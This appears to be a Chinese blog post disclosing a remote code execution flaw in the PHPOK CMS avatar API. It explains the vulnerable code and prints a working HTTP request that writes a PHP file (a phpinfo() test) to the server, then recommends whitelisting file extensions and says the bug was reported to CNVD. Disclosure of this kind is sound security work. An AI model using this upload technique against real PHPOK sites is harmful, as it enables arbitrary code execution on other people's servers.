Created 星期四 7 三月 2019
2019年3月7号 状态:良好 心情:想赚钱

攻击说明

攻击途径:远程网络
攻击复杂度:低
认证:需要前台用户权限
机密性:完全地
完整性:不受影响
可用性:不受影响

问题产生:

PHPOK企业站系统采用PHP+MYSQL语言开发,是一套成熟完善的企业站CMS系统,函盖功能全面,自定义功能强大,扩展性较好、安全性较高,可以轻松解决大部分企业站需求。
前台用户可系统api中提供的修改个人头像的接口功能,该功能点中支持以base64图片的形式修改个人头像,而该方式存在严重的漏洞,程序获取保存的文件后缀和文件内容等方式存在安全漏洞,导致攻击者可以通过修改请求数据包中的内容,使得在服务器上生成php代码文件,且可以指定文件内容,最终导致了该远程代码执行漏洞的产生。

0x01.代码位置:

漏洞代码位置:\framework\api\usercp_control.php 第58-102行
代码位置
代码分析:
该段代码中从type变量获取到的参数的值如果是base64,那么程序会从用户提交的data参数中获取保存文件的后缀名(保存的文件路径为:res/user/‘.$this->u_id.’.’.指定的后缀),并且该文件的内容经过base64解码后存入指定的文件中。也就是说,攻击者可以控制保存文件的后缀和内容。
`

0x02.缺陷利用

构造的请求数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /api.php?c=usercp&f=avatar&type=base64 HTTP/1.1
Host: 192.168.98.140
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.98.140/index.php?c=usercp&f=avatar&_noCache=0.1543482622
request_type: ajax
phpok_ajax: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
PHPSESSION: voa4706ct0frsvpfi9m7f1bam7
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: PHPSESSION=voa4706ct0frsvpfi9m7f1bam7
Content-Length: 62

data=image/php;base64,dGVzdGVzdGV0PD9waHAgcGhwaW5mbygpOw==

提交请求的数据包,如下图请求成功:
kxrFk6.png
请求成功后,会在web程序中生成以下文件:
kxrVpD.png
于是直接请求该文件(http://192.168.98.140/res/user/32.php),可得到phpinfo信息:
kxrmXd.png
PS:生成的漏洞链接(http://192.168.98.140/res/user/32.php)可以从用户个人中查看得到:
kxrK0I.png

修复建议

1.加强程序判断逻辑,获取用户提交的文件后缀名时应该采用白名单方式过滤用户输入。


注:该漏洞博主已提交到CNVD.